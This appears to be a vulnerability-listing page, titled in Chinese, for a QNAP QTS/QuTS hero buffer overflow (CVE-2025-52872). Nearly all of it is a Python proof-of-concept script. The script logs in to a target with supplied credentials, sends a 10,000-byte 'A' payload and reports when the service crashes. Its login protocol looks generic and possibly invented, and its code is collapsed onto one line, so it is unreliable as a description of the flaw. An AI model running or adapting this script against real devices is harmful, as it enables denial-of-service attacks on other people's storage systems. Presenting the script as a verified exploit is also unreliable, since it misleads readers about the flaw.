QNAP QTS/QuTS hero 缓冲区溢出漏洞 (CVE-2025-52872)

import socket import sys def exploit_cve_2025_52872(target_ip, target_port, username, password): """ CVE-2025-52872 PoC - Buffer Overflow in QNAP NAS This PoC demonstrates the vulnerability exploitation concept. Note: Only for authorized security testing. """ try: # Step 1: Authentication sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) auth_payload = f"AUTH {username}:{password}\r\n" sock.send(auth_payload.encode()) response = sock.recv(1024) if b"AUTH_OK" not in response: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Send oversized payload to trigger buffer overflow # This payload exceeds the expected buffer size overflow_payload = b"A" * 10000 + b"\r\n" sock.send(overflow_payload) # Step 3: Monitor for crash or memory corruption indicators sock.settimeout(5) try: response = sock.recv(1024) if b"ERROR" in response: print("[+] Buffer overflow triggered - process error detected") return True except socket.timeout: print("[+] Buffer overflow triggered - process crash detected") return True except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_ip> <port> <username> <password>") sys.exit(1) exploit_cve_2025_52872(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])